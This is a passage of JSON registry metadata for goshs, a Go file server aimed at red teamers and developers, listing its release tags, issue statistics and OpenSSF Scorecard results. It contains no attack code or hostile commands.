hs-labs%2Fgoshs/tags/v0.2.0/manifests"},{"name":"v0.1.9","sha":"5d6b17cc4a44d344362dd0659779d958d1b66e05","kind":"tag","published_at":"2022-10-13T13:52:26.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.9/manifests"},{"name":"v0.1.8","sha":"31639080efbb087fc2c8cb3413bbc8d9e6cb5b55","kind":"tag","published_at":"2022-03-11T14:24:02.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.8/manifests"},{"name":"v0.1.7","sha":"7d1630cbe279aef35e4f1f1699278b35b1784158","kind":"tag","published_at":"2022-02-28T12:42:50.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.7/manifests"},{"name":"v0.1.6","sha":"b1d4f8393ce004528a523ba55353eb99ec9cb74e","kind":"tag","published_at":"2021-11-09T13:15:34.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.6/manifests"},{"name":"v0.1.5","sha":"71cefd7548e8d227dd6fb80038aad3ab5f3882d9","kind":"tag","published_at":"2021-10-12T10:32:52.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.5/manifests"},{"name":"v0.1.4","sha":"b28b7c2c3be33954ccf3ef5b221a6a848b79aa79","kind":"tag","published_at":"2021-10-12T06:55:06.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.4/manifests"},{"name":"v0.1.3","sha":"4187008af4c3acfdad0099a1888567cd63e3bbfd","kind":"tag","published_at":"2021-10-08T13:48:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.3/manifests"},{"name":"v0.1.2","sha":"221ed1b8bfa30dff122e99ac1dc13d17d92519f1","kind":"tag","published_at":"2021-10-01T08:57:05.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.2/manifests"},{"name":"v0.1.1","sha":"c4f19703b59e7f2d052530381c201c2bd933ab9a","kind":"tag","published_at":"2021-09-29T12:15:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"589f2dc62b9a9f72d9726a30b806082225488e81","kind":"tag","published_at":"2021-04-22T05:53:21.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.0/manifests"},{"name":"v0.0.9","sha":"a028f7795d1b2a28946061fe04c7fdae05c1c124","kind":"tag","published_at":"2021-04-21T12:38:42.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"4e29cfb21beab4fbc000ae6b78ea50e4def8dcb2","kind":"tag","published_at":"2021-02-26T09:37:47.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.8/manifests"},{"name":"v0.0.6","sha":"568702c6b1df35a169d4944606d7dcce0512f75e","kind":"tag","published_at":"2020-10-23T13:48:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"e8fb6eaeefe70709da388cc5aabd001ae20e34da","kind":"tag","published_at":"2020-10-15T15:35:44.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"f8e39328788149796a862edbc64be7f9f732da46","kind":"tag","published_at":"2020-10-14T08:38:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"dfc2d46e7f47c2f9e1a80e7b6c07ac5270a92ee2","kind":"commit","published_at":"2020-10-09T08:46:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"2227d39f6a9f86f40223241ee07c8374c1255c39","kind":"commit","published_at":"2020-10-06T13:00:13.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"ca78b1be5424d653c877550ba81427ba3d08ec74","kind":"commit","published_at":"2020-10-02T08:28:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-26T13:56:36.500Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.035479429185533,"dependent_packages_count":4.718422284959875,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.876950857072703},"purl":"pkg:golang/github.com/goshs-labs/goshs","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/goshs-labs/goshs","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/goshs-labs/goshs","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/goshs-labs/goshs/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-25T23:30:33.738Z","issues_count":20,"pull_requests_count":119,"avg_time_to_close_issue":98358.65,"avg_time_to_close_pull_request":103188.29411764706,"issues_closed_count":20,"pull_requests_closed_count":119,"pull_request_authors_count":5,"issue_authors_count":15,"avg_comments_per_issue":2.8,"avg_comments_per_pull_request":0.4117647058823529,"merged_pull_requests_count":101,"bot_issues_count":0,"bot_pull_requests_count":89,"past_year_issues_count":17,"past_year_pull_requests_count":114,"past_year_avg_time_to_close_issue":111658.4705882353,"past_year_avg_time_to_close_pull_request":107121.20175438597,"past_year_issues_closed_count":17,"past_year_pull_requests_closed_count":114,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":2.9411764705882355,"past_year_avg_comments_per_pull_request":0.35964912280701755,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":88,"past_year_merged_pull_requests_count":96,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/issues","maintainers":[{"login":"patrickhener","count":29,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}],"active_maintainers":[{"login":"patrickhener","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281958,"maintainers_count":0,"namespaces_count":839500,"keywords_count":125409,"github":"golang","metadata":{"funded_packages_count":68001,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-26T05:01:06.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":14812573,"name":"github.com/goshs-labs/goshs/v2","ecosystem":"go","description":null,"homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/goshs-labs/goshs","keywords_array":[],"namespace":null,"versions_count":23,"first_release_published_at":"2026-07-24T19:16:21.737Z","latest_release_published_at":"2026-08-25T23:38:12.769Z","latest_release_number":"v2.1.6","last_synced_at":"2026-08-25T23:38:14.142Z","created_at":"2026-07-24T19:16:20.000Z","updated_at":"2026-08-26T15:02:58.562Z","registry_url":"https://pkg.go.dev/github.com/goshs-labs/goshs/v2","install_command":"go get github.com/goshs-labs/goshs/v2","documentation_url":"https://pkg.go.dev/github.com/goshs-labs/goshs/v2#section-documentation","metadata":{},"repo_metadata":{"id":43262907,"uuid":"300549409","full_name":"goshs-labs/goshs","owner":"goshs-labs","description":"Feature-rich single-binary file server for red teamers and developers.  HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks ·  TLS · Auth · Share links. A powerful python3 -m http.server replacement.","archived":false,"fork":false,"pushed_at":"2026-08-24T07:46:26.000Z","size":10234,"stargazers_count":959,"open_issues_count":0,"forks_count":58,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-08-25T14:32:27.522Z","etag":null,"topics":["capture-the-flag","ctf","devtools","dns-server","file-server","file-transfer","golang","http-server","https-server","kali-linux","ldap","ntlm","offensive-security","penetration-testing","red-teaming","security-tools","sftp","smb","smtp-server","webdav"],"latest_commit_sha":null,"homepage":"https://goshs.de","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/goshs-labs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-10-02T08:24:17.000Z","updated_at":"2026-08-24T20:17:17.000Z","dependencies_parsed_at":"2026-08-25T14:32:28.452Z","dependency_job_id":null,"html_url":"https://github.com/goshs-labs/goshs","commit_stats":null,"previous_names":["goshs-labs/goshs","patrickhener/goshs"],"tags_count":70,"template":false,"template_full_name":null,"purl":"pkg:github/goshs-labs/goshs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/sbom","scorecard":{"id":722292,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickhener/goshs","commit":"cea833bc147c8b21464d70f6e3ab59006c6b7156"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 8 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":3,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Warn: no linked content found","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Code-Review","score":0,"reason":"Found 1/27 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:10","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:15"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.1.0 not signed: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 not signed: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 not signed: https://api.github.com/repos/patrickhener/goshs/releases/217929560","Warn: release artifact v1.1.0 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/217929560"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:2","Warn: containerImage not pinned by hash: Dockerfile:20: pin your Docker image by updating alpine:latest to alpine:latest@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (6) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:43:39.563Z","repository_id":43262907,"created_at":"2025-08-22T11:43:39.563Z","updated_at":"2025-08-22T11:43:39.563Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36908229,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-25T02:00:06.831Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"goshs-labs","name":"goshs-labs","uuid":"288591202","kind":"organization","description":"","email":null,"website":"https://goshs.de","location":"Germany","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/288591202?v=4","repositories_count":1,"last_synced_at":"2026-05-28T11:23:27.823Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/goshs-labs","funding_links":[],"total_stars":877,"followers":0,"following":0,"created_at":"2026-05-28T11:23:27.844Z","updated_at":"2026-05-28T11:23:27.844Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs/repositories"},"tags":[{"name":"v2.1.6","sha":"474454e2d7355c4ad8d66bfb94b1eb19a15be22a","kind":"tag","published_at":"2026-08-24T07:46:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.6/manifests"},{"name":"v2.1.5","sha":"3a24c85a82c494b947a83989b5f28fbda260a961","kind":"commit","published_at":"2026-08-02T08:36:56.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.5/manifests"},{"name":"v2.1.4","